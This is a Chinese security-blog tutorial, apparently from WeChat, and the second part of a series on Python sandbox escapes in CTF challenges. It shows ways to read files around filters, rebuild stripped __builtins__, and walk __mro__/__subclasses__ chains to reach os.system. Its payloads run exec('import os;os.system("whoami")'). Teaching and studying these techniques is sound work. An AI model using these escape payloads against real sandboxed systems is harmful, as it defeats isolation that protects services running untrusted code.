从沙盒逃逸看Python黑科技(下篇)
2020-7-5 22:28:21 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

 

阅读本文大概需要 5 分钟。

 

   2020年 第  20  篇文章 ,flag 继续 

每周至少更一篇

前言

本周发的有点晚了,本来周三发的,有点生病,就拖到现在了,希望大家见谅。接着上一篇的内容,讲解一下Python中的黑科技。如果大家想回顾上文,可以点下面的链接:
从沙盒逃逸看Python黑科技(上篇)

大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。

有你们的坚持,才有更好的世界。

下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。

 

一.回顾

理理思路

在上一篇文章中,我总结了Python沙箱逃逸这道CTF题涉及的主要知识点 ,其中上篇讲解了其中两个,本篇继续。

  1. Python 如何导包

  2. Python 如何执行代码和命令

  3. Python 文件读取

  4. 内置模块

  5. 对象创建与引用

二.Python 文件读取

实践出真知

本节主要介绍Python文件读取,为什么要介绍这个呢?主要是因为沙箱是黑盒的,如果我们能读取当前正在运行脚本的内容,对我们的帮助会非常大。上文介绍的单文件沙箱,我们可以通过读取__file__来获取内容,查看对应的过滤规则。

初级

对于python文件读取,大家比较熟悉的是open 或者file 函数:

(1) open (py2,py3)

  1. open(__file__).read()

(2) file (py2)

  1. file(__file__).read()

这些常见的函数,在沙箱中一般会被禁用掉,我们需要挖掘更多文件的读取的方式

高级

(1) codecs 模块 (py2,py3)

  1. import codecs

  2. codecs.open(__file__).read()

(2) types 模块 (py2)

  1. import types

  2. types.FileType(__file__,"r").read()

(3) os.open (py2,py3)

  1. import os

  2. fd = os.open(__file__, os.O_RDONLY)

  3. print(os.read(fd,1024))

(4) file:/// 伪协议

py3:

py2:

(5) fileinput 模块

(5) ctypes 模块

三.内置模块

如果沙箱不让我们导入外部模块,或者是要导入的模块被禁用,那我们只能求助于Python的内部模块__builtins__( 即Python 本身默认已经导入模块中的函数)。

dir内置函数可以列出一个模块/类/对象下面所有的属性和函数,查看一下__builtins__中的函数:

  1. >> dir(__builtins__)

  2. [['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError',
    , ....]

为什么dir可以查看__builtins__ 函数呢?本质上是每个模块/类/对象/ 有一个__dict__ 字段,通过遍历 __dict__ 得到里面包含的属性和函数。

例如,我们可以引用__import__ 来导入os,并执行命令:

导入的函数,模块都变成字符串模式时,所有的静态检测手段都会失效,因为我们可以通过各种编码手段进行混淆。

由于内置模块中的危险函数过多,比如eval,exec等,导致上文使用的沙箱对__builtins__进行了处理,通过 del 关键字将里面的所有函数引用都删除了。

  1. del __builtins__.__dict__['xxx']

如果保留reload内置函数,我们还可以通过 reload( __builtins__) 恢复,但是现在通过__builtins__来进行逃逸已经不现实了。

对象创建与引用

在上一节中,不知道大家有没有注意到 我说的一句话:

上文沙箱将__builtins__中的所有函数引用都删除

删除的是只是函数引用,而不是函数本身,如果你们熟悉C语言的话,函数引用可以理解为函数指针,既然__builtins__中的引用没了,那我们就需要从其他地方找到敏感函数的引用,从而实现逃逸。

在Python中一切皆是对象,比如常见的 "",[],(),{} ,我们可以使用type函数查看他们的类型:

  1. >>> type("")

  2. <type 'str'>

  3. >>> type([])

  4. <type 'list'>

  5. >>> type(())

  6. <type 'tuple'>

  7. >>> type({})

  8. <type 'dict'>

  9. >>> type(1)

  10. <type 'int'>

  11. >>> type(1.1)

  12. <type 'float'>

我们可以通过这些Python 内置类型的继承链来寻找更多的引用,以下字段是寻找继承链的关键:

  • __class__ :返回一个实例所属的类

  • __bases__ :返回一个类直接所继承的类(元组形式)

  • __mro__ :列出解析方法的调用顺序

  • __subclasses__():返回子类列表

  • __dict__ :列出当前属性/函数的字典

  • func_globals:返回一个包含函数全局变量的字典引用 (python2)

  • __globals__:返回一个当前空间下能使用的模块,方法和变量的字典 (python2,python3)

其中 __bases__ 和__mro__ 类似的,用来寻找父类,__subclasses__()用来寻找子类。示例如下:

  1. >>> [].__class__.__bases__

  2. (<type 'object'>,)

  3. >>> [].__class__.__mro__

  4. (<type 'list'>, <type 'object'>)

  5. >>> [].__class__.__mro__[-1].__subclasses__()

  6. [<<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,

假如我们想在Python3中调用os模块中system方法,而不用 import os ,就可以采用这种方式:

但是大家可能会发现,这么多的类哪些 符合要求呢?给大家一个小脚本,遍历出os模块的引用:

结果如下:

  1. (72, <class 'site._Printer'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

  2. (77, <class 'site.Quitter'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

  3. (98, <class 'socket._socketobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

  4. (99, <class 'socket._fileobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

如果想寻找其他模块,例如 sys,__builtins__, 都可以往代码中列表中添加。

还有一种是利用builtin_function_or_method 的 __call__,找到对应的序号:

使用exec执行:

  1. [].__class__.__mro__[-1].__subclasses__()[34].__call__(exec, 'import os;os.system("whoami")')

  2. [].__getattribute__('append').__class__.__call__(exec, 'import os;os.system("whoami")')

最后

下篇敬请期待,代码的排版还得优化一下,有点乱,只能截图代替了。

  

原创不易,希望大家能积极分享点在看

推荐阅读

不一样的 "反弹Shell" 系统剖析

HW : Cobalt Strike 应该这样学

WebShell通用免杀的思考

WebShell "干掉" RASP

无文件执行:一切皆是shellcode (中)

无文件执行:一切皆是shellcode (上)

linux无文件执行— fexecve 揭秘

沙盒syscall监控组件:strace and wtrace

无"命令"反弹shell-逃逸基于execve的命令监控(上)

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【11】:领取Sandboxie源码

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

  • 回复【7】:领取人工智能数学基础

  • 回复【8】:领取 python神经网络 教程 

  • 回复【9】:领取 安卓逆向 教程  


文章来源: https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004712&idx=1&sn=01de3d61700191d5ad55385bb7aa0069&chksm=8cf1396abb86b07c6ebc3fa9cb7fa6686eaa2da034f0a531b8f26ba6626b47f94885eb6c9408&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh